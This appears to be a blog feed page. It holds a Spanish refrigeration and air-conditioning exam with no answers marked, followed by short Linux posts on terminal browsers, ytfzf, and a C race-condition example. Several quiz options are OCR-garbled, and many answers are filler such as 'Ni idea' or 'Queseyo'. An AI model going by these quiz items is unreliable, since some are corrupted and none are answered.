- [ ] 5 motores ventiladores.
- [ ] Todas son correctas.
### La salida del gas refrigerante del motor compresor hacia el condensador en un acondicionador de aire es.
- [ ] Alta temperatura baja presión.
- [ ] Alta presión baja temperatura.
- [ ] Baja presión baja temperatura.
- [ ] Gas Alta presión alta temperatura.
### 8.- La válvula de carga de gas refrigerante en cualquier sistema de refrigeración va ubicada
- [ ] en.
- [ ] Cañería de retorno o de baja presión.
- [ ] Enñariguls elpararesión
- [ ] En el evaporador del sistema.
### El síntoma más visible de fuga de gas en un sistema de refrigeración es.
- [ ] Presencia de aceite en las cañerías.
- [ ] El motor ventilador del compresor no funciona.
- [ ] Se para el motor compresor.
- [ ] Todas son correctas.
### Que presión debe marcar el manómetro cuando se realiza el proceso de vacío.
- [ ] 18 in Hg.
- [ ] 50 in Hg.
- [ ] 30 1n Hg.
- [ ] 80 in Hg.
### Que función realiza el motor ventilador del evaporador.
- [ ] Envía el aire frio hacia el dormitorio.
- [ ] Aspira el calor de dormitorio.
- [ ] A y B son correctas.
- [ ] Ninguna es correcta.
### Que amperaje debe marcar un compresor de un refrigerador en funcionamiento.
- [ ] 3 Amp.
- [ ] 8 Amp.
- [ ] 29 AMP
### Cuantas resistencias de descongelamiento tiene un acondicionador de aire.
- [ ] 2 resistencias.
- [ ] 5 resistencias.
- [ ] 7 resistencias.
- [ ] Ninguna es correcta.
### Que freon o refrigerante utiliza un acondicionador de ventana.
- [ ] Refrigerante 12.
- [ ] Refrigerante 134 A
- [ ] Refrigerante 22.
- [ ] Refrigerante 11.
### 15.- Que clase de maquina es el motor compresor.
- [ ] Es una máquina centrifuga.
- [ ] Es una máquina expelente he impelente.
- [ ] No tiene ninguna función.
- [ ] Es una máquina de propulsión.
### que función realiza el motor compresor en un sistema de refrigeración.
- [ ] Aspira y comprime el gas refrigerante en un sistema.
- [ ] Expulsa el aire caliente hacia el medio ambiente.
- [ ] Recicla el gas refrigerante.
- [ ] Todas son correctas.
### Con qué clase de aceite trabajan los motores compresores para sistemas de refrigeración.
- [ ] Aceite capella 30.
- [ ] Aceite 20 W 50
- [ ] Aceite 3 en 1.
- [ ] Aceite hidráulico.
### Que función realiza el motor ventilador del condensador.
- [ ] Ninguna es correcta.
- [ ] Expulsa las calorías al medio ambiente que son extraídas del lugar a enfriar.
- [ ] Enfría el lugar a ser climatizado.
- [ ] Enfría el motor compresor.
### Con que color se identifica el cilindro de gas refrigerante R 22.
- [ ] Color violeta.
- [ ] Color rojo
- [ ] Color azul.
- [ ] Color verde.
### 20.- Con que frecuencia funciona los sistemas de refrigeración.
- [ ] 60 Hz
- [ ] 50 Hz.
- [ ] 10 Hz
- [ ] 12 Hz
### 21.- Para que se utilizan los capacitores entre los rangos de 35 uf hasta 60 uf en los sistemas de acondicionador de aire.
- [ ] Se utiliza para el arranque del motor compresor.
- [ ] Seiliza rara harnerrdsleter drddnhytidrárlitansador.
- [ ] Todas son correcta.
### Cuando se realiza el cambio de un motor compresor en un sistema de refrigeración a más de cambiar el motor compresor es también necesario cambiar el.
- [ ] La válvula solenoide.
- [ ] El condensador
- [ ] El evaporador
- [ ] El filtro deshidratador.
### 23.- Que función realiza el filtro deshidratador.
- [ ] Ninguna es correcta.
- [ ] Filtra el gas refrigerante
- [ ] Filtra el fluido del gas refrigerante.
- [ ] Filtra la humedad y pequeñas partículas de suciedad en el sistema de refrigeración.
### 24.- Los elementos básicos de un sistema mecánico de refrigeración son.
- [ ] Motor compresor, condensador, evaporador, filtro deshidratador, tubo capilar.
- [ ] Motor condensador, motor evaporador, filtro deshidratador, tubo capilar.
- [ ] Compresor, tubo capilar, filtro, termostato.
- [ ] Ninguna es correcta.
### Una bomba de vacío es una máquina que sirve para
- [ ] Extraer humedad del sistema de refrigeración.
- [ ] Extrae el aceite del sistema de refrigeración.
- [ ] Extrae limallas he impurezas de un sistema de refrigeración.
- [ ] Todas son correctas.
### 26.- En un sistema de refrigeración que sucede con el motor compresor cuando el sistema está sobre cargado.
- [ ] Escribí
### El protector térmico interno hace que el motor compresor se apague por sobrecalentamiento.
- [ ] El motor trabaja hasta quemarse.
- [ ] El motor se calienta excesivamente hasta llegar al punto de fusión.
- [ ] El motor explota.
### 27.- Que medida de cañería se utiliza para colocar la válvula de servicio.
- [ ] Ya
- [ ] 5/16
- [ ] 7/8
- [ ] Ya
### 28.- Con que color identificamos al manómetro de baja presión.
- [ ] Rosado.
- [ ] Rojo.
- [ ] Azul.
- [ ] Violeta.
### 29.- Con que color identificamos al manómetro de alta presión.
- [ ] Verde.
- [ ] Azul.
- [ ] Violeta.
- [ ] Rojo.
### Que gas se utiliza para comprobar que no existan fugas en un sistema de refrigeración cuando ha sido reparadas.
- [ ] Gas refrigerante R 22
- [ ] Gas comprimido.
- [ ] Gas refrigerante R 134 A
- [ ] Gas nitrógeno seco.
### 31.- Que es un tubo capilar.
- [ ] Gas nitrógeno seco.
### Un tubo capilar esde pequeña sección circular una conducción de fluido muy estrecha y en su diámetro interno es como la de un cabello.
- [ ] Es un tubo de reducción de 1/8 a 3/16
- [ ] Es un tubo de precisión o
- [ ] Es un tubo de Eo re y aluminio.
### El tubo capilar es un dispositivo de.
- [ ] De expansión
- [ ] De derivación.
- [ ] De drenaje.
- [ ] De filtración.
### 33.- El tubo capilar realiza la expansión del fluido refrigerante en.
- [ ] La entrada del tubo capilar.
- [ ] La salida del tubo capilar.
- [ ] La salida del tubo capilar al conectarlo con el evaporador.
- [ ] Todas son correctas.
### 34.- Que función tiene el tubo capilar.
- [ ] Regula la caída de presión del sistema entre el condensador y el evaporador.
- [ ] Equilibra las presiones.
- [ ] Aumenta la presión del lado de baja.
- [ ] Aumenta el fluido de gas refrigerante.
### 35.- Para que funcione bien el tubo capilar el sistema de refrigeración debe estar.
- [ ] Seco sin humedad.
- [ ] Lleno de gas nitrógeno.
- [ ] Lleno de gar refrigerante
- [ ] Ninguna es correcta.
### Las centrales de acondicionador de aire tipo Split vienen separadas para su instalación estas unidades son.
- [ ] Unidad condensadora con la unidad frigorífica.
- [ ] Unidad evaporadora con la unidad frigorífica.
- [ ] Unidad condensadora, y unidad evaporadora
- [ ] Todas son correctas.
### 37.- Que gas refrigerante utiliza lo sistemas de acondicionador de aire de los automóviles.
- [ ] Gas refrigerante R 12
- [ ] Gas refrigerante R 22
- [ ] Gas refrigerante R 134 A
- [ ] Gas nitrógeno seco.
### 38. Como usted controla la carga de gas en un sistema de refrigeración que ha reparado de una breve descripción del proceso.
- [ ] Algo
### De una breve descripción del proceso de un cambio de compresor con los elementos necesarios en un sistema de refrigeración. Para que el sistema quede en perfectas condiciones
- [ ] Algo.
### 40.- Realice un diagrama básico de un sistema de refrigeración con los siguientes elementos.
- [ ] Compresor, Condensador, Evaporador. Tubo capilar y filtro deshidratador.
### 41.- El presostato de baja, protege al motor compresor, ya que al detectar una presión menor a la normal el sistema deja de funcionar.
- [ ] Verdadero
- [ ] Falso.
### El presostato de alta, protege al termostato, ya que al detectar presiones mayores a las normales el sistema deja de funcionar.
- [ ] Verdadero
- [ ] Falso
### A los presostatos de baja presión se los gradúa con un rango porcentual de.
- [ ] 50%
- [ ] 15%
- [ ] 0%
- [ ] 70%
### A los presostatos de alta presión se los gradua con un rango porcentual de.
- [ ] 0%
- [ ] 50%
- [ ] 70%
- [ ] 10%
### 45.- El termostato va conectado en serie con el.
- [ ] Motor compresor.
- [ ] Motor ventilador.
- [ ] Evaporador.
- [ ] Condensador.
### 46.- Describa que efecto produce la humedad en un sistema de refrigeración.
- [ ] Escribi
### Porque es necesario la utilización de los filtros deshidratadores en los sistemas de refrigeración.
- [ ] Escribi en tu hoja
### 48.- En un refrigerador No frost para que se utiliza las resistencias de descongelamiento.
- [ ] Evita que se llene de escarcha el condensador
- [ ] Evita que se llene de escarcha el evaporador.
- [ ] Evita que el motor compresor se queme.
- [ ] Evita que el sistema deje de funcionar.
### 50.- El timer es un dispositivo que entrega energía al motor. Cuando cumple su periodo, desconecta el motor y luego va entregar energía a la resistencia para el descongelamiento y por lo tanto no se bloquea de hielo el sistema.
- [ ] Verdadero.
- [ ] Falso.
### 51.- Sistema No Frost es.
- [ ] Sistema mediante el cual no se produce hielo, se enfría mediante la circulación de aire frío tanto en el freezer como en el gabinete.
- [ ] Sistema que hace escarcha.
- [ ] Sistema que se enfría por convicción
- [ ] Sistema que hace escarcha por sus elementos sofisticados de tecnología de punta.
### 52.- Que tipo de motores compresores utilizan los sistemas de refrigeración de uso doméstico.
- [ ] Cempreseres dhéifiátivos o de pistón, enfriados por aire o por aceite.
- [ ] Compresores rotativos o de paletas enfriador por aire o por aceite
- [ ] C y B son correctas.
### 53.- Cual es la válvula de expansión en un equipo doméstico de refrigeración..
- [ ] El tubo capilar.
- [ ] El motor ventilador
- [ ] El capacitor
- [ ] El timer.
### 54.- Para qué sirve la válvula de expansión termostática.
- [ ] Escribi
### 55.- La válvula de expansión termostática sirve para regular el flujo de fluido refrigerante en un evaporador, según las variaciones de temperatura aplicadas al bulbo sensor.
- [ ] Verdadero
- [ ] Falso.
### 56.- Las lecturas de los manómetros que se usan para refrigeración están dadas en.
- [ ] Noo
- [ ] Balgadas, cm
- [ ] c. Millas, PSI, Pul Hg.
- [ ] d. Plg Hg, PSL %F.
### 57.- El manómetro de alta. Tiene una escala calibrado de O a 500 P:S:I la escala puede estar marcada con incrementos de 2 a 5 Lbs. La escala negra indica presión y la escala roja indica temperatura en *F.
- [ ] Verdadero
- [ ] Falso
### 58.- Que entiende por acondicionar.
- [ ] Explica
### 67.- Que voltaje y que frecuencia suministra las empresas eléctricas del Ecuador a las industrias y al sector doméstico en baja tensión.
- [ ] Explica
### 69.- Donde se encuentra instalado el tubo capilar Ala salida de motor compresor con el evaporador
- [ ] Ala salida del evaporador
- [ ] Ala salida del filtro deshidratador con el motor compresor.
- [ ] Ala salida del filtro deshidratador y a la entrada del evaporador.
### 70.- Los tipos de condensadores utilizados en refrigeración.
- [ ] Enfriados por agua.
- [ ] Torres de enfriamiento
- [ ] Todas son correcta
- [ ] Enfriados por aire.
### 71.- Las torres de enfriamiento es un Artefacto utilizado para la preservación del agua, utilizada en sistemas de condensación por agua recirculada, donde el agua que pasa por el condensador se le reduce la temperatura para volver a utilizarse.
- [ ] Verdadero.
- [ ] Falso.
### Enumere cinco (5) tipos de motores compresores que usted conoce para sistemas de refrigeración domestico he industrial
- [ ] Explica
### Los motores compresores pueden ser enfriados por.
- [ ] Aire
- [ ] Aire forzado
- [ ] Aceite.
- [ ] Todas son correctas.
### Que es agente de refrigeración.
- [ ] Todas son correctas.
### 77.- Que es calor sensible.
- [ ] Explique
### 79.- Los agentes de refrigeración pueden ser.
- [ ] Cloroflurados, refrigerantes ecológicos. Cloropentafluoroetano. FreonR 115
- [ ] Diclorodifluormetano freon 12,
- [ ] Monoclorodifluormetano. Freon 22
- [ ] Todas son correctas.
### 80.- Que entiende por línea de descarga.
- [ ] Explique.
### Cual es la función de una bomba de vacío.
- [ ] Explique.
### 86.- En qué casos o en que sistemas de refrigeración utilizamos el gas freon + 502
- [ ] Sistemas de acondicionadores de aire de ventana.
- [ ] Sistemas de acondicionadores de vehículos.
- [ ] Sistemas industriales que alcanzan bajas temperatura entre los - 18%C a -51%C
- [ ] Ninguna es correcta.
# 87.- Indique en que parte del ciclo de refrigeración la línea caliente cambia de estado
- [ ] Condensador
- [ ] Evaporador
- [ ] Filtro deshidratador
- [ ] Ala salida del tubo capilar hacia el evaporador.
### 88.- Que es el cero absoluto.
- [ ] Explica
### 91.- Que entiende por energía cinética.
- [ ] Explica
### Cual es el largo mínimo de un tubo capilar en un refrigerador.
- [ ] 3mts. 09,85 pies
- [ ] Smts. 16,40 pies
- [ ] 8mts. 26,24 pies
- [ ] 15mts. 49,21 pies
### 94.- Escriba sobre motores compresores alternativos con pistones y cigileñales
- [ ] Explica
### 98.- Escriba sobre motores compresores radiales.
- [ ] Explica
### 101.- Que es radiación.
- [ ] Explica
### 108.- Las condiciones exigidas a los refrigerantes son.
- [ ] No deben ser explosivos en su estado natural ni en las mesclas con el aire.
- [ ] No deben ser corrosivos.
- [ ] No deben ser inflamable.
- [ ] Todas son correctas.
### 109.- Freón es el nombre que se le da a un grupo de refrigerantes compuestos principalmente de carbono y de flúor.
- [ ] Verdadero
- [ ] Falso.
### 110.- Se denomina unidad condensadora al conjunto formado por.
- [ ] Motor compresor, condensador, recipiente acumulador.
- [ ] Condensador, evaporador, tubo capilar, recipiente acumulador.
- [ ] Motor compresor, condensador, evaporador. Recipiente acumulador
- [ ] Motor compresor, condensador, recipiente acumulador y evaporador.
### 111.- El evaporador es el dispositivo donde se vaporiza por completo el fluido refrigerante, al absorber el calor del espacio circundante “a refrigerar o enfriar” y mantener a una temperatura establecida.
- [ ] Verdadero
- [ ] Falso
### 112.- Evaporador inundado se lo conoce. Al que tiene la mayor parte del espacio interior disponible ocupado con líquido refrigerante, quedando solo un pequeño espacio libre disponible que se llena con el vapor que toma de la línea de succión.
- [ ] Verdadero.
- [ ] Falso.
### 113.- Evaporador seco recibe la denominación por tener todo el espacio interior ocupado por refrigerante en estado gaseoso, ya sea en estado de vapor húmedo o de vapor saturado.
- [ ] Verdadero.
- [ ] Falso.
### 114.- El evaporador inundado resulta ser más eficiente que el evaporador seco por más ventajosa la succión y por disponer de mayor cantidad de líquido del lado de baja.
- [ ] Verdadero.
- [ ] Falso.
### 115.- Los evaporadores pueden ser de dos tipos.
- [ ] De tubos y placas.
- [ ] De tubos y cobre.
- [ ] Detubos y aluminio.
- [ ] Ninguna es correcta.
### 116.- Los filtros utilizados en sistemas de refrigeración en su interior están compuestas de.
- [ ] Silica gel.
- [ ] Carbono.
- [ ] Policarbonato.
- [ ] Cloruro de sodio.
### 117.- El equipo que se utiliza para sistemas de refrigeración se llama.
- [ ] Suelda oxiacetileno
- [ ] Suelda de punto
- [ ] Suelda eléctrica
- [ ] Suelda de estaño.
### 118.- Diga de que elementos está formado el equipo de suelda oxiacetileno.
- [ ] Queseyo
### 119.- Cuando en un sistema de refrigeración se dice que se fue al vacío. Diga cuales son las causas de esa falla.
- [ ] Queseyo
### 120.- los refrigerantes son sustancias cuya presión de vapor es elevada y cuyo calor específico es alto en su forma líquida lo que les permite absorber y disipar calor fácilmente a presiones relativamente bajas.
- [ ] Verdadero.
- [ ] Falso.
### 121.- En el manómetro de oxigeno de suelda oxiacetilino diga que mide los des relojes que posee.
- [ ] Queseyo
### 123.- En la soldadura con acetileno el combustible se debe mezclar con uniformidad con el oxígeno, esto se hace en una cámara mezcladora que es parte del soplete. El soporte sirve para mover, dirigir o graduar la flama.
- [ ] a. Verdadero.
- [ ] b. Falso.
### 124.- Indique cual es el procedimiento para comprobar si el motor compresor esta defectuoso "quemado"
- [ ] Explica
### 125.- Si existe continuidad entre los terminales del motor compresor y la carcasa del mismo el motor esta quemado.
- [ ] a. Verdadero
- [ ] b. Falso.
### 126.- En un refrigerador el protector térmico y el relay de arranque estan conectado en.
- [ ] a. Serie
- [ ] b. Paralelo
- [ ] c. Conexión mixta.
- [ ] d. Todas son correctas.
### 127.- En un refrigerador no frost el motor ventilador del evaporador con el interruptor de la puerta de este gabinete están conectadas en:
- [ ] Serie.
- [ ] Paralelo.
- [ ] Serie paralelo.
- [ ] Conexión mista.
### 129.- El timer es un reloj que controla el tiempo de funcionamiento del motor compresor, de las resistencias de descongelamiento, de la pastilla de deshielo.
- [ ] Verdadero.
- [ ] falso.
### 130.- Si el motor compresor no arranca diga cuales pueden ser las fallas.
- [ ] Escribí
### 131.- En las centrales de aire acondicionado tipo Split la unidad evaporadora y la unidad condensadora vienen por separado por lo tanto cada unidad debe traer su propio.
- [ ] Motor compresor
- [ ] Motor ventilador.
- [ ] Motor capacitor.
- [ ] Motor centrifugo.
### 132.- La carga excesiva de gas refrigerante puede producir que el motor compresor se
- [ ] Apague por sobre calentamiento.
- [ ] Arranque con un potencial eléctrico muy elevado.
- [ ] Arranque con un potencial eléctrico muy bajo.
- [ ] Todas son correctas.
### 134.- Todas las conexiones eléctricas de los sistemas de refrigeración en general deben ser polarizadas, significa que debe ir conectada a un punto en general que va conectada a la carcasa del congelador, refrigerador, acondicionador de aire, o a cualquier sistema refrigeración esta conexión se la llama
- [ ] Anda a saber
### 135.- Si el motor ventilador de un acondicionador de aire tiene un excesivo ruido diga cuales son las posibles fallas
- [ ] Ni idea
### 137.- El termostato está conectado en serie con el motor compresor y este es activado por Efectos 40 co occoccocconconronocnronronnoc nar nacnnanons
- [ ] Ni idea
### 138.- A la salida del evaporador el gas refrigerante se encuentra en estado líquido a alta presión y baja temperatura
- [ ] Verdadero.
- [ ] Falso.
### El estado del freón a la salida de la válvula de expansión termostática es en forma líquida a baja presión y baja temperatura.
- [ ] Verdadero.
- [ ] Falso.
### El estado del freón refrigerante a la entrada del motor compresor es.
- [ ] ....No se
### Los motores compresores trabajan con un aceite capalla 30 y los motores de las bombas de vacío trabajan con el aceite.
- [ ] ....No se
### Si el tubo capilar es utilizado como un medio de restricción, la válvula de expansión termostática es
- [ ] Ni idea
### Ponga los nombres de cada elemento que a continuación se detalla en el diagrama.
- [ ] Ni idea
### En la siguiente figura ponga los estados de gas con sus diferentes presiones y temperaturas a las salidas y entradas de cada elemento.
- [ ] No
### los motores compresores tienen marcado sus terminales de alimentación con los o CIA (C ) Común .
- [ ] No
### los presostatos tanto el de baja presión como el de alta presión están graduados en un rango de tolerancia, diga cuál es el objetivo de estos presostatos.
- [ ] No
### Si los fabricantes de evaporadores los diseñan de placas diga en que sistemas de refrigeración son más utilizados.
- [ ] Ni idea
### Cualquier medio o cuerpo empleado que se utilice como absorbente de calor es el concepto de dbaitmletenperamraa de cuardebenrilald debeinensgurodariarlshlmcdidal ama uiesiónr de los 100%C la humedad se condensa en gotas de agua, se dice que dicha temperatura el aire a alcanzado el.
- [ ] Ni idea
### 151.- El porcentaje de la cantidad máxima del vapor de agua o humedad, que puede ser absorbido por el aire a una temperatura dada. Es el concepto de?
- [ ] Ni idea
### El calor agregado a una substancia para aumentar su temperatura sin que cambie su estado. Es el concepto de?
- [ ] Ni idea
### El calor que provoca un cambio de estado de la materia sin alterar su temperatura, El calor suministrado o quitado a una substancia que cambia su estado sin cambiar su temperatura. Es el concepto de?
- [ ] Ni idea
### 154.- La operación unitaria en la que tiene lugar una transferencia simultánea de materia y calor sin la presencia de una fuente de calor externa, La transferencia simultánea de materia y calor en la operación de humidificación tiene lugar cuando un gas se pone en contacto con un líquido puro, en el cual es prácticamente insoluble. Es el concepto de
- [ ] Ni idea
### El procedimiento por el cual se extrae calor en condiciones controladas, procedimiento que suele valerse de medios mecánicos. Es el concepto de?
- [ ] Ni idea
# La magnitud física que se define como la cantidad de calor que hay que suministrar a la unidad de masa de una sustancia o sistema termodinámico para elevar su temperatura en una unidad sus unidades son (kelvin o grado Celsius).
- [ ] Ni idea
### La cantidad de calor que se aumenta a un espacio refrigerado mediante cuerpos o sustancias que se colocan en dichos espacios. Cantidad de calor que debe ser eliminada del espacio del acondicionador de aire o refrigerador con el fin de mantener una temperatura especifica. Es el concepto de?
- [ ] Ni idea
### Un termómetro de mercurio que tiene el bulbo envuelto en un paño de algodón empapado de agua de dice que es temperatura de bulbo húmedo
- [ ] Falso
- [ ] Verdadero
### Temperatura de bulbo seco o temperatura seca es la medida con un termómetro convencional de mercurio o similar cuyo bulbo se encuentra seco.
- [ ] Verdadero.
- [ ] Falso.
### 159.- La energía potencial es energía que mide la capacidad que tiene dicho sistema para realizar un trabajo en función exclusivamente de su posición o configuración.
- [ ] Verdadero.
- [ ] Falso.
### Escriba para que sirve el relay potencial.
- [ ] Ni idea
</div>
<h3 id="otros-multiple-choice-generados-con-ia">Otros multiple choice generados con IA</h3>
<p><a href="https://www.revisely.com/quiz/A4k1B">https://www.revisely.com/quiz/A4k1B</a> <br>
<a href="https://www.revisely.com/quiz/TKuUG">https://www.revisely.com/quiz/TKuUG</a> <br>
<a href="https://www.revisely.com/quiz/YAFNL">https://www.revisely.com/quiz/YAFNL</a> <br>
<a href="https://www.revisely.com/quiz/4LNFC">https://www.revisely.com/quiz/4LNFC</a> <br>
<a href="https://www.revisely.com/quiz/QqXFp">https://www.revisely.com/quiz/QqXFp</a> <br>
<a href="https://www.revisely.com/quiz/6xzjd">https://www.revisely.com/quiz/6xzjd</a> <br>
<a href="https://www.revisely.com/quiz/VJ3pz">https://www.revisely.com/quiz/VJ3pz</a> <br>
<a href="https://www.revisely.com/quiz/E6M2i">https://www.revisely.com/quiz/E6M2i</a> <br>
<a href="https://www.revisely.com/quiz/2nChE">https://www.revisely.com/quiz/2nChE</a> <br>
<a href="https://www.revisely.com/quiz/RPsGz">https://www.revisely.com/quiz/RPsGz</a><br>
<a href="https://www.revisely.com/quiz/c4fuy">https://www.revisely.com/quiz/c4fuy</a><br>
<a href="https://www.revisely.com/quiz/LOfIg">https://www.revisely.com/quiz/LOfIg</a></p>
-
[YTFZF] Mpv as thumbnail viewer
https://imlauera.github.io/mpv_as_thumbnail_viewer/
Fri, 29 Nov 2024 02:45:01 -0300
https://imlauera.github.io/mpv_as_thumbnail_viewer/
<p>En el archivo <code>/home/esotericwarfare/.config/ytfzf/conf.sh</code>.</p>
<h3 id="agregamos">Agregamos:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>thumbnail_viewer<span style="color:#f92672">=</span><span style="color:#e6db74">"/usr/bin/mpv"</span>
</span></span></code></pre></div>
-
Netsurf en framebuffer
https://imlauera.github.io/netsurf_framebuffer/
Thu, 28 Nov 2024 00:33:15 -0300
https://imlauera.github.io/netsurf_framebuffer/
<p><a href="https://askubuntu.com/questions/817937/how-to-run-netsurf-fb-fails-with-unable-to-set-console-s">https://askubuntu.com/questions/817937/how-to-run-netsurf-fb-fails-with-unable-to-set-console-s</a></p>
<p>I had a similar problem getting netsurf to run, but managed to fix it thanks to
persistence and blind luck.</p>
<p>Problem 1: init mouse failed Solution: Add myself to the input group (the group that
owns /dev/input/mice</p>
<p>Problem 2: Unable to set video: Could not set console screen info fbdev Solution:
Install the xserver-xorg-video-fbdev and fbset packages</p>
<p>Problem 3: Running netsurf causes the screen to go blank and the system to hang,
requiring a hard reboot Solution: I ran it in verbose mode and redirected standard
error to a file, and I saw that netsurf was complaining about not being able to find
DejaVuSans.ttf. I copied the file from /usr/share/fonts/truetype/dejavu to /usr/
share/netsurf</p>
-
Googlemaps from cli
https://imlauera.github.io/googlemaps_from_cli/
Mon, 25 Nov 2024 10:10:42 -0300
https://imlauera.github.io/googlemaps_from_cli/
<p><a href="https://old.reddit.com/r/commandline/comments/6cqpxb/google_maps_directions_cli/">https://old.reddit.com/r/commandline/comments/6cqpxb/google_maps_directions_cli/</a></p>
<p><a href="https://github.com/jaebradley/getmethefuckthere">https://github.com/jaebradley/getmethefuckthere</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>npm install getmethefuckthere -g
</span></span><span style="display:flex;"><span>gmtft
</span></span></code></pre></div>
-
Race conditions, ejemplo en C
https://imlauera.github.io/race_conditions/
Sun, 24 Nov 2024 19:41:56 -0300
https://imlauera.github.io/race_conditions/
<p>Race conditions en C son situaciones en las que, al ejecutar múltiples hilos o subprocesos de forma concurrente, la secuencia de ejecución de las operaciones puede generar un comportamiento inesperado o incorrecto. <strong>Esto se deber a que los hilos acceden y modifican variables compartidas sin sincronizar apropiadamente.</strong></p>
<h3 id="ejemplo-en-c">Ejemplo en C:</h3>
<p>Supongamos dos hilos que intentan cambiar el valor de una variable compartida, x, entre 0 y 1:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><threads.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// Variable compartida
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> x <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">hilo1</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>arg) {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Cambiar x de 0 a 1
</span></span></span><span style="display:flex;"><span> x <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Esperar un tiempo aleatorio
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">thrd_sleep</span>((<span style="color:#66d9ef">struct</span> timespec[]){{<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>}}, NULL);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">hilo2</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>arg) {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Cambiar x de 1 a 0
</span></span></span><span style="display:flex;"><span> x <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> NULL;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">thrd_t</span> h1, h2;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">thrd_create</span>(<span style="color:#f92672">&</span>h1, hilo1, NULL);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">thrd_create</span>(<span style="color:#f92672">&</span>h2, hilo2, NULL);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">thrd_join</span>(h1, NULL);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">thrd_join</span>(h2, NULL);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Imprimir el valor de x
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"x = %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, x);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Sin sincronización adecuada, el resultado final de x podría ser inesperado, ya que los hilos pueden ejecutarse en orden erróneo. Por ejemplo, puede que hilo2 cambie x a 0 antes de que hilo1 cambie x a 1. Un posible resultado incorrecto sería que x sea 0.</p>
-
Compilar elinks con JavaScript e Instalar Links con soporte de FrameBuffer
https://imlauera.github.io/compilar_elinks_con_javascript/
Sun, 24 Nov 2024 11:22:20 -0300
https://imlauera.github.io/compilar_elinks_con_javascript/
<p>Si querés tener un mínimo soporte de javascript en un navegador de consola tenés que tener SpiderMonkey instalado y recompilarlo desde el source.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>w3m http://elinks.or.cz/download/
</span></span><span style="display:flex;"><span>tar xvf elinks-current-unstable.tar.gz
</span></span><span style="display:flex;"><span>./configure | grep Spider
</span></span></code></pre></div><p>JavaScript is enabled by default if Spidermonkey is found, according to the config file in the
felinks git repo. Haven’t tried it myself, though. More here: <a href="http://elinks.or.cz/documentation/manual.html#ecmascript">http://elinks.or.cz/documentation/manual.html#ecmascript</a></p>
<h3 id="compilar-links-con-fb-support">Compilar links con fb support.</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>> Do I need Xorg to have graphics? I<span style="color:#e6db74">'m just using the tty
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">● No! For TTY/framebuffer, you don'</span>t need Xorg. Links2 can use the framebuffer directly. Let me build it with
</span></span><span style="display:flex;"><span> framebuffer support:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>✓ Download links source
</span></span><span style="display:flex;"><span> $ cd /tmp <span style="color:#f92672">&&</span> curl -O http://links.twibright.com/download/links-2.30.tar.gz
</span></span><span style="display:flex;"><span> ↪ <span style="color:#ae81ff">4</span> lines...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>○ Extract and configure links with framebuffer and JS support
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Fallo </span>
</span></span><span style="display:flex;"><span> $ cd /tmp <span style="color:#f92672">&&</span> tar xzf links-2.30.tar.gz <span style="color:#f92672">&&</span> cd links-2.30 <span style="color:#f92672">&&</span> ./configure --enable-graphics --with-fb
</span></span><span style="display:flex;"><span> --enable-javascript 2>&<span style="color:#ae81ff">1</span> | tail -30
</span></span><span style="display:flex;"><span>
